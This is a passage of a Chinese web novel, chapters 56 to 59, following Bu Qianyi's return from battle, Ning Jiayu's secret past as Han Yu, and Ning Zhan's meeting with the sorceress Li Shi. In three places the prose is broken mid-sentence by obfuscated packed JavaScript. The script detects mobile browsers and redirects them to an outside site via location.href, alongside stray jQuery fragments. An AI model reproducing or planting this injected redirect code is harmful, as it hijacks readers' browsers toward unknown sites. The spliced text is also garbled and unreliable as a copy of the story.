过去十年，旁人都以为是步千弈这位高权重的殿下，在给一个陌路相逢的女子撑腰，皆道他是雨姑娘的底气——有他在，雨姑娘便不必是如履春冰的雪狐，逍遥物外，终生安恬。 殊不知，韩雨才是步千弈在世上唯一的慰藉。 正因墨川战功赫赫的将门之星陡然陨落，嘉墨二十一年冬，百夷养精蓄锐数十载，终于将出兵袭取七州的谋算付诸行动。 世宗王着令兵分三路，前往七州西南、北境、中部。南北声东击西，首尾夹攻为主；中部趁乱突破，割裂联动作辅。 即西南大军引诱琅遇开战，北境精兵随之趁势突破嘉宁，再由中部后援率兵占领步溪，直截斩断七州调动猛将、相互支援的可能。 这中部头领乃是世宗王亲儿子，同辈行二。 此人无谋，却架不住浑身是胆，加上拉帮结派，于营中声望不浅。 他带不动“声东”之“东”的西南大军，更担不起“击西”之“西”的北境精兵，便被世宗王放到看似最轻松的中部。 一战下来，好歹能镶层金边回家，对日后即位大有裨益。 百夷此行蛇行鼠步，十分谨慎，可谓志在必得。孰料，本为后手的中部新兵先在步溪关外露了马脚。 一则，步长微洞察秋毫，对全境内外的动静极其敏锐。 二则，这位世宗王血脉，是个妄自尊大的色坯子。 他料想这奇袭的大梁横竖轮不着自己来挑，届时邀功请赏也未必有自己的份。此番，他只冲着步溪王后而去。 步溪女子天生貌美，王后更是七州绝色。 嘉墨元年，宁琛尚在皇位，步长微犹是步溪世子，步溪世子妃的仙姿玉色早已驰名内外。 不待西南大军发兵，中部头领擅作威福，以美人作噱头，鼓动大伙儿将营寨扎得离步溪边境越来越近。 百夷成非其功，终败于其手。 步千弈领兵出征前，步长微已向其余六州递去急函。 步溪历代旧主俱奉行和光同尘，到步长微也不例外。 为免风头过甚，步千弈输赢与否，战报坚决不能传到六州耳朵里。故步长微信中独道巫师近来算得七州或有动荡，各方务必戒严，防患未然，并不提及步千弈率两千轻骑前往步溪边境。 北边，嘉宁坐拥随琛惠帝亲征沙场的守卫军；南面，琅遇不仅有能征惯战的震王驻守城中，更是一处把打仗当家常饭吃的地界。 百夷此役要胜，只得胜在“奇袭”二字。 他们兵分三路，跋涉数千里，要的就是“奇”。行军路上却频频有快信来报，尽是七州戒备森严的消息。 昔年盯视七州中西部汴亭的百夷北军正身处嘉宁边地，则意味着中、北两师后方浑然无援，亦无补给。若行踪早露，唯有圈地战死。 百夷之所以让南边先攻，就是看中西南为领土所在，粮草相对充足，且战且退；兼之南军乃百战强兵，毅勇凶悍。 百夷北师堪堪扎营，果然瞧见琅、宁两州烽火台上彻夜不灭的火把。 西南将帅长年驻于戎马之地，杀伐果断，深知此战刻不容缓，遂请示世宗王。 世宗王对快信所谓的戒严半信半疑，与西南将帅达成“赌一把”的共识——按原计划迅速攻入琅遇。 哪想交手不久，亲儿子紧着再给世宗王打来当头一棒。 步溪轻骑以少胜多的战报，以及中部头领的惨烈毙命的消息，被落荒而逃的散兵传得飞快。 事已至此，便是南、北大军能与嘉宁、琅遇打个平手，但他们对步溪轻骑和那势如破竹的雪狼仍一无所知。北师头领因此连屁股都没坐热，便得了撤军的令。 毋庸置疑，世宗王筹谋多年的奇袭不征而败。 步千弈本不打算将那好色之徒的头颅挂在城墙上，可对方死到临头犹对步溪王后心存妄念，嘴里吐出的污言秽语无不令人作呕。 初尝血雨腥风的小狼没有提剑，单凭利爪捏爆了那人的喉管。 边关告捷，余下一千六百人马随步千弈班师回朝。 步千弈提着人头，策马踏在归途。 这天地间，好似谁都有幸瞧一眼传闻中天仙般的步溪王后，偏他这个与其血脉相连的亲骨肉，没那福气。 步千弈从未见过自己的生母，甚至不清楚母亲名讳。若非看着同胎胞弟一点点长大，他几乎要怀疑步溪王后其人是否真的存在。 步长微说，步千弈像他，是深藏不露的雪狼。幼子步千棋则像他的妻，是至尊至美的仙鹤。 步千弈不置可否，却也曾试图在胞弟步千棋身上找影迹。 万一父王没有骗他呢？万一小弟真的更像母后呢？ 但他连母后的影都没见过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679262|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 或许步长微所言非虚，因为落在两个少年身上的目光，不是源于父亲一角。 步长微要从兄弟二人中选出有能力接替自己的雪狼王。此次出征，便是他对步千弈十四年来的最后一道考验。 动身之际，步千弈胸中的疑云逐渐漫散。 他朝思暮念的母亲，大抵离世久矣。 轻骑返程，步千弈愈发笃定，母亲就死在他与步千棋出生的那天。而同他一齐长大的胞弟，也将死在他得胜回朝的归期，死在这漂亮又僻静的战场。 步长微并不需要那样一个高贵俊俏的幼子，即如不再需要为他诞下子嗣之后无足轻重的妻子。 归途，天色骤变，耳边狂风怒号，眼前雨雪霏霏。 步千弈环视七州苍茫悠远的边境，辨不明何处是家。 他甚至想问问手上狰狞的头颅，母亲究竟是什么模样？她此际，可算幸福？ 步千弈把世宗王亲儿子的首级挂上城墙，继而顶着满颊血腥，快马奔赴慈幼庄。 白茫的山庄门前，青葱伞下，嫣红大氅格外引人瞩目。韩雨望眼欲穿，翘盼佳音。 只要平安，就是凯旋。 步千弈纵身下马，戎装飒飒，在冰天雪地中举步如飞。他迫切地拥抱韩雨，找到了自己的家。 韩雨被猝不及防的拥抱撞得几欲后仰，最后却稳稳驻足步千弈毫无余地的怀里。仿佛真应了旁人那句笑谈——步千弈在，便没有让她倒下的道理。 “雨妹妹。母亲她，真的......现如今，弟弟也要走......”步千弈将韩雨圈得很紧，两臂纹丝不动，声息则难以克制打着寒战，“我......” “回来就好，能回来就好。” 韩雨努力抽出右手，仔仔细细替步千弈抹去血痕，让少年郎的轮廓变得明晰。她轻手顺着步千弈的脊背，如从前在荷花池畔，和声安抚。 “不怪你，不是你的错......” 韩雨似乎等了很久，五指抚上步千弈的脸颊时，已冻得僵了骨节。 步千弈反觉这手掌异常温热，贪恋地贴着唯一的慰藉。而那柔软的三言两语，就是他永远能在韩雨这里寻到的宽心药。 出征前，步千弈认真答应过韩雨，若能平安归来，要告诉她一个天大的秘密。但二人并肩走进山庄，路过荷花池，直至拖拖拉拉用完晚膳，步千弈还是说什么都不肯兑现承诺。 “是什么？到底是什么？” 由到饭堂长廊，韩雨锲而不舍，甚且不惜献出师父因着她最近而没闯祸奖励的桂花绵绵糕，缠了步千弈一路。 “青哥哥从不食言于我的。” “这次是天大的秘密，自然特殊些。雨妹妹还小，”步千弈抬手刮下落在韩雨鼻尖的白絮，“来日再告诉你好了。” “来日？”韩雨端起两臂，不服气道：“来日是哪日？你们都这么应付我！” “谁应付你，我也绝不应付你。”步千弈立在檐下，望着奋不顾身的飞絮融入大片雪白，“就在小雨能够谈婚论嫁的那日，好吗？” 杏眼转了两圈，韩雨拿不准哪里别扭，又唯恐步千弈反悔，才道：“成交！” 她扬起下巴，胸有成竹：“青哥哥别想糊弄我，我可记好了。” 步千弈替韩雨系紧了大氅，莞尔点头。 “落雪无声，我听不见梨花坠满地，你也听不见我此刻埋下的情意。我将它藏在来日的风里，总有一缕，可以告诉长大的你。” 他在心里说。 57. 火伞 对于步千弈脱口而出的姓名，宁佳与并不意外，即如她从前始终收在心里的那声“世子殿下”。 他们像是一起走过对彼此毫无保留的十年，而今驻足回望，方才惊觉来时风霜覆盖了整道摇摇欲坠的悬索桥，遮蔽太多。 可仲夏的炎阳何其毒辣。 凛风尽退，冰霜消融，火伞烧着曾经并肩的身影，迫使他们远远退至对立的两端。刹那，热浪张天，点燃了桥上潜藏许久的芯线。 故人依然站在山庄门前，却早已看不清彼时雨雪霏霏的深冬，熄不灭相互间熊熊焚起的阻隔。 步千弈不再是十四岁保境息民的青哥哥，她也不是十二岁执迷不悟的雨妹妹。 “世子殿下。”宁佳与翻身上马，平和道，“韩雨死了。” 念书以外，韩雨只会镇日缠着大司乐学些清歌翠舞，抑或边享锦衣玉食，边与人逞口角之快。 将门出身，浑不通拳脚。 她那战无不胜的父亲尚且死于没有硝烟的浊世，她又岂能与这不仁不义的天理共存？ 韩雨，早该死了。 其父韩宋，乃是七州空前绝后的盖世之才。 他纳忠效信、俯仰无愧，奈何明君谢世，从前踏破太师府门槛的学生尽数拜至奸人麾下，世上少有人坚信韩家赤胆忠心。最终，落得个“离经叛道、乱臣贼子”的身后名。 而所谓的锄奸惩恶者，明面上处决三族不够，背地里对其余与韩家稍有瓜葛势的老弱妇孺也要赶尽杀绝。 岂料韩宋的发妻江氏竟抛下江家不顾，听闻判书，连夜带着女儿逃没了影。 江漓此举无疑摔碎了母族的富贵碗，江氏几十载的汗水堪称尽付东流。尔后，江家人似与江漓一并消失得彻底。 宁佳与这条命，是爹娘和恩人不惜一切，从刽子手刀下抢回来托与师父的。 她过去，十分不舍那个纯粹的姓名。 - “雨儿。” 公孙树木高枝仰，葱郁为二人遮阴，江漓缓慢梳理韩雨乌润的长发。 “不如提早给你定了字罢？” “为何？”韩雨端详着齐王赏赐父亲的竖琴，很是新奇。 江漓思忖片刻，如是说：“娘原想给你取‘休戚与共’的‘与’，但你爹总念叨这名听着苦，死活不肯。满月宴上，他就自己拿主意，给你定了现在的‘雨’，意寓纯净明澈的品貌，和丰盈美满的日子——” 不待母亲言尽，韩雨仰起脑袋打哈哈：“爹爹和娘选的都好，女儿欢喜！” “你个鬼灵精！”江漓点了点韩雨的眉心，笑怪道，“惯会在这抹稀泥。” - 她想对得起父母、江家，还有师父，便不能再是从前养在深闺、不沾烟火的韩雨。 这些年，刽子手并未放弃对宁佳与和江漓的追杀。然七州之大，连李主事都无法断言江漓现今身在何处，甚至不能确定人是否活着。 因为听雪阁所到之处，迎柳与青竹未必不可及。 若要没世无闻，须得不露声色。 李主事本来把宁佳与藏得极好，因而相较旁人，听雪阁派与她的任务简直就是在哄小孩儿。 大是大非上，宁佳与还算晓事，没让师父苦心白费。 她将师兄们教的躁言丑句、野腔无调学得有模有样。出门在外，都是游手好闲的二流子架势，再糊上一脸泥，莫说她是高门贵人，说她是女子都没几个搭腔。 若非宁展深悉外祖母所授的易容、乔装之术，起初在嘉宁客栈同宁佳与面面相觑时，他也不见得能辨出宁佳与是男是女。 是以宁佳与此番自说自话去往嘉宁行刺，凶险莫测，正如白歌所言——即便听雪阁有五十个大师兄，她逃不掉师父这顿罚。 步千弈目光烁烁，他没拦住策马扬鞭的宁佳与，自有人去拦。 他要做的，则是让那不识好歹的老宦认认路，免得来日下了阴曹地府找不着北，还要使唤些虾兵蟹将去探道。 - 今岁的仲夏尤其早，不过蒲月十六，日头愈加霸道，势要烤红整个步溪，浓荫蔽天的茶楼亦难避其害。 即听顶层雅间内“乓！”一声，梧桐长案布的茶盏、茶滤、公道杯云云，翻的翻，洒的洒。 丽春花茶清爽的果香应时溢满屋子，却依旧未能平息这位风姿俨如少艾之人一掌拍下的急火。 “没门！” 她勃然大怒，尽态极妍的容貌仍显完美。 “你杀了熊崽，还指望我的雨儿同你比肩而立、同道而行？展凌君好大的魅力！” 以宁自觉地提起热茶，匀入方才重新润过的公道杯，先替李主事添盏，再为自家殿下续杯。 他放稳瓷壶，诚恳道：“李主事，人是在下杀的，与公子无——” “闭嘴！”李主事气得柳眉倒竖，瞪着以宁道，“你还很骄傲？此处有你言语的份吗？” 宁展初至雅间，即被李主事的姿容惊得脚步一滞。 他对步溪女子的标致早有目睹，由宁佳与各方面更可见肯定其事非虚。只是眼前这样的美，与他在宁府藏书阁见到的宁佳与委实太过相近。 要论不同之处，除却一个精细浓妆，一个潦草淡抹，就是那双眸子。 若宁佳与是璧月下熠熠生辉的玲珑杏眼，李主事才是苍山上睥睨万物的狐眼。 遽然对上李主事惕厉的目光，宁展都不必多问，便知其兽身本体十有八九也是只精明的狐狸。 如此比对，宁佳与眼里那点儿鬼黠，反倒像是依样画葫芦养出来的家猫...... “他是个粗人，李主事无须与他置气。”宁展责备似的瞥一眼以宁，示意他退到身后，复谦恭道：“晚辈没什么魅力，但晚辈这里，或有与姑娘感兴趣的东西。” “你能有什么稀罕的玩意。” 李主事“哼”去满脸鄙夷，恬不为意。 “展凌君当雨儿是那等贪财好利的村夫俗子不成。” “与姑娘深得李主事真传，自然不是等闲。”宁展敛下清整的广袖，言笑晏晏，“就像微王陛下拿掉了李氏，而您如今仍在其子手下做事。想来步世子于您而言，恰似晚辈对与姑娘——颇有用处。” “你个黄口小儿！” 李主事一张朱唇描得精致，艳如桃李。听了宁展这席狂话，只恨不能化作血盆大口，将他撕得体无完肤。 “素来闻说展凌君如何温文儒雅，今日看来，还真是‘百闻不如一见’。外头的土物是瞎了眼、见了鬼，才会吐出那般颠倒黑白的蠢话！” 宁展非但不恼，心里反而乐开了花，劲头几至能比昔年被韩太师夸许时更高。 步溪李氏与其余三大世家截然不同，靠巫术、蛊毒起家，从不讲究什的长幼尊卑，独奉能者为大。 那位十三岁统管全族的当家人，那个天赋异禀的姑娘，那块被他外祖母供在元氏宗祠的牌位之主，就得有这“不可一世”的傲岸。 宁展对此前的设想越发笃定，面前的李主事，正是他和外祖母一直在找的人。 虽然元叶并不时常表露对故人的挂念，但宁展将细微触动都看在眼里。若李兼和柳如殷给出线索无误，时下只差最后一步证实。 “您莫急。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679263|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚辈兴许称不上君子，却是带着诚意来与您倾心交谈。” 宁展肃然端起茶盏，郑重敬道。 “外边儿的虚名，皆是应付墨吏、宵小的伎俩，无足挂齿。李氏的本领，些个油嘴滑舌的笑面虎如何可以比拟？您说对吗，李太保。” - 宁佳与跑马回到城中府宅，恰是午膳时辰。 院口两旁轮换的守值小厮、廊上洒扫的仆役和府中大管家一样，皆是步千弈放过来监视宁展的听雪阁中人。 下马时，宁佳与心中犹然郁闷，谁知抬眼撞上两个门神似的师弟。 师弟们年纪小，不及历练老成的前辈，什么事儿都爱摆在脸上。两人嘴角垮得一个比一个难看，宁佳与哭笑不得。 小师弟见宁佳与如见天降神兵，知道她素来好说话，忙挤出两滴眼泪叫屈。 “雨姐姐，这都晌午了，咱们俩从家里赶来轮值，早饭还没吃上呢！” “就算咱们年纪轻、本事小，也不用在这儿给外州人看门罢？” 宁佳与闻言了然，大管家是怕小孩儿藏不住心思，没把“看门”的真正缘由告诉二人。 她晃了晃手中的缰绳，粲然道：“你们俩骑术学得如何了？” 门童点头若捣蒜，胸有成竹地猛拍心口。 “既如此。”宁佳与把缰绳抛出，“替我将马骑回家！” 两人二话不说，近前接了绳就跳上马背，近乎喜极而泣，一并忘了适才多么饥肠辘辘。 闻风而动的大管家忽然冲出大门，为难道：“雨姑娘，你这......” “要是有人怪罪下来，往我身上推。”说罢，宁佳与一掌拍在马屁上。 两个小鬼顶着艳阳撒了欢，前头得意洋洋地甩缰绳，后头回首望面如土色的大管家离他们越来越远。 大管家无奈摇头，心道雨姑娘果然不合适带徒弟，日后来了新人决计不能交给她。 “雨姑娘。”大管家领着宁佳与往内院走，“柳氏备了午饭，现下正在膳堂布置，您进屋就能吃上热乎的。” 宁佳与堪堪颔首应下，远瞧一身朴素迎来。 她定睛细看，发现柳如殷在火伞高张的天里依旧裹得严实，头钗、耳坠之类的妆饰取得比往日还干净。 大管家领着旁人退开，将九曲八弯的游廊留与二位姑娘独处。 柳如殷一路小跑，上来便握住了宁佳与的手。 宁佳与观其满脸内疚，以为柳如殷尚在为日前任宁展当刀使，摆了她一道的事心有不安，边走边道：“柳姐姐辛苦了，今日又是什么好菜呀？我在院儿门口都嗅到香味了。” “与妹妹，对不起。” 柳如殷迟疑半晌，说的却是另一回事。 “我原不知李家与你有关......李太保的身份，是我告诉元公子的......” 李...... 太保？ 宁佳与稀里糊涂重复着陌生的称谓，好一会儿才从“李”字联想到师父身上。 可她从未听师父提过什么太保......宁展千方百计要见师父，就是为着这个太保？ “是元公子问你的罢？”宁佳与偏过脑袋，不假思索。 柳如殷点点头，道：“因为老夫人与李家是故交，宗祠里都供着李家主的牌位。是以元公子问，我便答了。” “老夫人？”宁佳与捋着鬓边的碎发，再热也不肯别至耳后，“墨川王太后？” 宁佳与不免蹙眉，暗想师父家中怎会与墨川王太后扯上干系？师父枕山栖谷，常年杜门谢客——莫非，宁展是代元家来寻仇？！ 58. 见闻 彼时宁展情窦初开，看元叶祭拜李氏当家人，以为那位家主乃是外祖母芳年旧好，理所当然把对方想成了男子。今通观多方新讯，他重新把目光锁定在青竹阁早有所察的女子身上。 此人正是琛惠年间的李太保，李施。 七州王室及世家皆对李氏前尘闭口不提，尤其对李太保的风闻避之若浼。 基于消息尚不曾互通的情况，面对宁展提问，自称元家手下的柳如殷都能答出“李施”二字，他更加坚信其人确实存在。 而青竹阁原先探到的风声，却是李施在琛惠年两州大战期间病逝，否则元氏宗祠也不会平白供着李家主的无名灵位。 可李氏巫术神乎其神，且李施年纪轻轻位极太保，她会死得那般简单吗？ 抑或说，那些老谋深算的野心家，果真舍得让她死？ 宁展那声称谓何其突兀，李主事竟也不以为意，怒色倒是退了一半。 她气定神闲地抿茶，少顷，慢悠悠道：“什么太师、太保，不都被三大州的主子料理干净了。” “李太保这是不认了。”宁展饮过花茶，方寸不乱，“那么墨川王太后呢？” “哪儿？墨川？”李主事嗤笑一声，搁下杯盏，“那谁知道！展凌君若要问步溪王太后，兴许老娘还能编出段像样的别史。” 宁展兀自为李主事添茶，好言提醒：“汴亭元氏，太保都不肯认了？” 其实，他摸不准外祖母和这位李太保到底是何交情。 毕竟元叶一面对李氏缄口不谈，一面将外人的灵牌供在自家宗祠，香火还添得格外勤。 宁展这回只能赌。 假使李太保对元家有恩，他知恩来报，入情入理，再和气不过。 如是元家亏欠于李氏，他怪不着旁人，唯怪自己南行以来就没有不背运的时候。熊霆的死再加上元家的愧，得是新仇旧账一起算。 依着李太保那些想来惊世骇俗又不为人知的本领，莫说往下取敬令，宁展今日怕连茶楼雅间都出不去。 “不认识。” 李主事随手转动木案上的茶盏，漠然道。 宁展连对面的热汤泼在自己脸上有多烫都想好了，李主事这个回答，似无旧故重提之喜，亦无仇人见面之忾，着实出人意料。 正因如此，才有古怪。 不足一个时辰，李主事对宁佳与如何疼爱，又对他如何厌恶，宁展单从言语间便深有体会，足见其爱憎分明。偏偏谈及元氏，如此若即若离，不可谓不刻意。 宗祠非粥棚，灵牌亦非米面，就算是接济，试问哪位能够仁德到将陌路人安置在自家祖宗安枕的地盘？ 关系走至这一步，不是极好，即是极劣。 “汴亭元叶，正是当今墨川王太后。”宁展直言道，“是晚辈的外祖母。” 李主事沉默半晌，终于忍不住反驳。 “就你？” 这又是什么微妙的回应？怪道从古至今的超世奇才都无法被寻常人理解。他阅人多矣，照样读不懂李太保的天书。 “晚辈不才，确是元家后人。”宁展颔首道。 “你是不才。” 李主事将茶一饮而尽，好像尝不出半点温热。她望向窗外的葱翠，不知思绪何在，末了，总算想起来接着问。 “元家......都有孙辈了？” 宁展闻言愣怔。 纵使听雪阁通风罗讯的本事稍逊青竹阁些许，然李太保身为暗阁主事，岂会耳目闭塞到这般地步？ 宁展心有疑虑，却觉得李主事不是愿意与他兜圈子的人。 “太保不知？” 李主事随口应一声，没了下文，也忘了驳回所谓的“太保”之称。 她确实不清楚汴亭元氏的现状，但与其说不知，不如说她就是在回避元家的所有消息。 在她看来，自己和元叶一样，两州大战始，二人分道扬镳、不相闻问。 但元叶并非有心与旧故断交，而是掘地三尺，寻不到李施的踪迹。 李施则高卧山庄，做起了见天儿看小娃娃写字、打拳的暗阁主事。山上清净，正好她无意听人议论外头的变化，尤其元家，连知悉自己病故的消息都是靠步千弈转达。 听雪阁及步溪王室了解李施的忌讳，从不在她面前提起元氏。 致使墨川王后待产、文怀长郡主和亲、嘉宁大殿下出世，她皆是略通其事，不晓其人。 是以，李施没料想墨星徉真让元叶成了王后，同样不虞失联多年的故交尚在人世。 “晚辈听闻，太保与外祖母从前关系甚睦。太保隐逸多年，”宁展语速渐缓，恂恂试探，“不打算与外祖母通个书函、报声平安吗？” “小鬼懂什么。”李施瞪着宁展，反唇相稽：“你们元家专生无情人，我不与她往来，她也未必记着我。” 宁展会心笑笑，眼下这境况，他多半是赌对了。 “物是人非，可即便世人忘了太保，外祖母却将昔日情谊念得清楚。” 李施脸上写着不信，狐狸眼凌厉冶艳，直勾勾审视这油嘴滑舌的小子。 怎么看怎么不像元叶。 宁展长吁一气，煞有介事道：“太保不知元家有了孙辈，更不知外祖母每日去一趟元氏宗祠，对着您的灵位诵经祈福......” 李施不经意咬破下唇，熟悉的咸腥自舌尖沁入肺腑，终究耐不住埋了几十载的好奇心。 “她现在，过得好不好？” 李施对元叶的记忆，停留在对方及芨那年。 汴亭元氏代代书香，不屑于趋炎附势，亦不为功名利禄低眉。元叶相貌平平，却是一等一的才女，然而她年方及芨，便说什么都要在那烽火连天的战时去往墨川。 嫁与徉王。 这般“恨嫁”作派，外人观之尚且是变古乱常、自毁名节的不正之风，可素有清誉的元家一声不吭默许了。 天下文人无不为堕入泥潭的元氏惋惜，都道元叶是为着攀高枝而一意孤行的不肖子孙。 李施不以为然，只觉她是个被猪油蒙了心的傻姑娘。 任李施如何劝留，甚至急得呕血，元叶仍带着众仆从毅然决然离开了家，走向战火。至于元叶往后的景遇，李施一概不晓。 墨川于持续十三载的两州大战中主动请降，但徉王起兵强攻嘉宁是七州百姓亲眼目睹的事实。 说白了，那是谋反。 饶是烽火平息，墨星徉业已病故，当初奔赴乱臣阵营的元叶会有什么好下场？ 李施不能细思。 “不太好。”宁展摇头，如实道，“晚辈与母亲身在嘉宁，无从时时守在外祖母身侧尽孝。七州近来动静无常，如两州战事再起，外祖母定会成为墨川要挟嘉宁的筹码。” “你这是......”李施狐疑地睨着宁展，“为元家向我求援？” “晚辈正当年，没有让您劳力的理。太保既称‘展凌君’，想必对日前之事颇有耳闻。此行南下，晚辈是为各州敬令来。若要七州长治久安，”宁展恺切道，“须得让天下归心。” 李施听出了宁展不知天高地厚的欲望。 她目光如电，毫不留情道：“琛惠帝身故，人人都敢越过帝号指着姓骂他，这并不意味着人人都能做统一七州的宁琛。便是他的亲孙儿，也不必痴心妄想。” “太保误会了。晚辈若‘有幸’与琛惠帝对话，亦然是道不同，”宁展拎着瓷盖拨去茶沫，似笑非笑，“不相为谋。” - 柳如殷的手艺不比各地宾客似海的食肆，但破天荒合上了宁佳与的胃口，以致宁佳与每个菜都要翻来覆去轮着吃几口，唯恐偏心了哪道美味。 景以承堪堪踏入宅邸大门，鼻尖还飘着喷香的大米味儿，料想一准是柳姑娘备好了饭菜，遂捂着肚子大步流星往内院走。 焉知他一进膳堂，直被屋里冲天的辛辣呛得泪花盈盈。 过去七日，宁佳与不见人影，宁展又忙得脚不沾地，饮食起居尽不在此，这大宅子便仅剩景以承、以宁、柳姑娘三个朝夕相对。 冷清是冷清了点儿，两个不精烹调的小子却实在走运，在饭桌上把柳如殷夸得天花烂坠，明日还能大饱口福。 先前，柳如殷一贯是做嘉宁及景安的清淡口味，今次这满桌红通通的辣子难免吓得景以承脚底打滑。转眼再瞧有滋有味的宁佳与，他都想替人捏一把汗。 “景公子，快别站着，来尝尝我学的新菜式。”柳如殷起身招呼景以承，目光则完全无法从宁佳与身上挪开，十分满足。 景以承几欲摆手婉拒，不防身后风尘仆仆的以宁一回来便顺手把他带了进膳堂。他神智犹在原处，身子已在满桌呛眼的辣子前坐定。 以宁若无其事，替缓步进屋的宁展拉开木椅。 宁展是根生土长的嘉宁人，平生半筷子辛辣没碰过。见红油爬了好几盘子，茶楼内无比自持的展凌君也禁不住抖眉梢一颤，硬着头皮落了座。 “柳姑娘......”景以承提了筷箸，久久下不去手，“你辛苦了。不过， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679264|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些菜你是跟谁学的？” 柳如殷单看宁佳与吃得欢，并未察觉其余人对这桌新菜式的排斥，笑道：“跟那位大管家学的。” 宁展口型作“嘁”。 就说异常挑嘴的宁佳与这会儿怎么头也不抬，筷箸使得比轻功熟稔。来来去去就那两样偏好，不是冰甜就是辛香，到头权让步千弈拿捏了去，没劲。他腹诽道。 以宁亦不胜辛辣，却不想辜负柳如殷的好意，故小口吃得含蓄，复而异常大方地往景以承碗里添菜。 景以承正要推却，奈何以宁为了让他吃菜，竟摆出那套他最不能回绝的说辞：“兄长辛苦，得多吃些。” 景以承烧得细汗涔涔，一时猜不透以宁的用意。 辣子被二人“兄友弟恭”解决了小半桌，以宁方才换回寻常口径：“景二殿下，微王为何频频寻你去宫中品茶？” 景以承觉着嗓子眼要冒烟，不得不往尽是茶汤的肚里又灌了许多白水消火，肚皮撑得挺不起腰，干脆胡乱答道：“喜欢我呗！” 宁展象征性吃了几口以宁尝过的芥菜疙瘩，安静放了筷子。 他倒是听以宁汇报过步长微邀景以承品茶赏花的事，但尚未参透此举，于是道：“景兄近日入宫，可有什么新鲜见闻？” 宁展开了口，景以承绞尽脑汁也想帮上忙。他竭力忍下不适，掏出怀里的小册翻阅。 “嗯......” 景以承与宁展仅仅走过从景安到步溪短短一程，册本已然记去大半。 其中内容，不乏旁人指点和宁佳与的逸闻趣事，然则更多是宁展为他列举出入各处的叮嘱、面见某人的要端、万事起源的剖析，以及他那些于宁展而言无谓至极的突发奇想。 宁展当下不堪其扰，事后均给他答得一清二楚。 景以承比宁展年长，却是心甘情愿做对方的学生。 他不为沾染元家的气儿，也不在乎元氏名声的兴衰势头。 埋首闭关时，他不窥窗外事，认真读过每一篇宁展的治世策论和元家家主写于琛惠年间的文章。那些字即使是为了写给天下人看，宁展仍是身体力行帮扶过各州臣民的仁人志士。 昔年，景大殿下在景安的威望远高于他，父王不仅迟迟未立王储，更不曾予其君位。如此，他便自作多情这一回，就当父王是将景安世子留与他做。 但他从不吃不劳而获的饭，恰如这大宅子里的米，交到柳如殷手上之前，若非以宁负责，便是他来淅[1]。 他要带着世子老师教的真才实学、自己亲身体悟的世道人情，光明磊落地回去。 宁展之于他，是明君，同是良师益友。无论如何，他要跟上宁展的脚步。 “......找到了！”景以承点着册本上的墨迹，一字一顿，严谨道：“花、庭、院、内，公、公、吐、血！” “公公吐血？”以宁失望地放下碗筷。他还盼景以承真能说出些有用的东西——吐血而已，又不是干尸暴起，至于如此大惊小怪？ 宁展却对看似不起眼的讯息很感兴趣。 他稍稍前倾，扶上饭桌，道：“是那位近身服侍微王的周公公？” “对对对。”景以承收起小册，“就是在宴上传膳的公公。此人忽然喷血，脸色煞白，微王乍看险些昏过去。” “景兄今日出入王宫。”宁展若有若无地瞟了一眼对面的宁佳与，“途中见过步世子么？” “步世子？”景以承捏着纸回想，“没见到。” 自然见不到了，那个时辰，步千弈还在慈幼庄和她对峙。宁佳与搁下筷箸，暗想。 “不过......”景以承打圈揉腹，脸蛋不知不觉被辣子激得涨红，“倒是瞧见了步世子的近卫，那位白公子。” “景公子，你没事罢？”柳如殷赶紧起身，愧歉道：“我这就去煮下火的茶。” “等、等等......柳姑娘！你别走啊——”景以承猛抬手，腿脚艰难挪动。 他这个月都不想再喝茶了！ 膳堂杂乱间，以宁得着宁展的眼色，扶了景以承便走，道：“属下吃好了，公子慢用。与姑娘慢用。” “阿宁！你别拖我，我没歇够呢——” 景以承原就弱不禁风，眼下满肚的清茶混辣子，更则进退两难，只得由着以宁把自己往外带。 “我也吃好了。”宁佳与离了座，腰侧折扇即被宁展扬起的广袖挂住。 “看来。”宁展笑意昭然，言近旨远，“与姑娘还是不忍心独留我一人。” 59. 例外 宁佳与发现，嘉宁世子出了嘉宁，即如脱缰野马，愈发管不住蹄子。 她抚去银骨扇上瓦蓝的衣袂，居高看着宁展。 “展凌君貌似很喜欢独留在下一人密谈。” 闻言，宁展竟也认真回忆片晌。 自打二人在城郊客栈碰面，他的确时常去找和宁佳与单独说话的空。好比世间再没旁人能与他共话天地，非对方不可。 “不用貌似。”宁展仰起头，十分理直气壮，“我就是喜欢。” 突如其来的坦诚令宁佳与有些站不稳。她扶着椅背坐回原处，打算瞧瞧宁展又憋了何种花招。 见宁佳与一言不发，毫无似他这般要“交心”的意思，宁展清咳两声，道：“与姑娘不想知道，白公子身为近卫却独自进宫，办的是什么差吗？” 宁佳与抱起两臂，客气应付：“展凌君请讲。” “听闻，步千弈与他老爹素有不和，且对那位周大公公。”宁展和宁佳与两两相视，“尤其不满。” 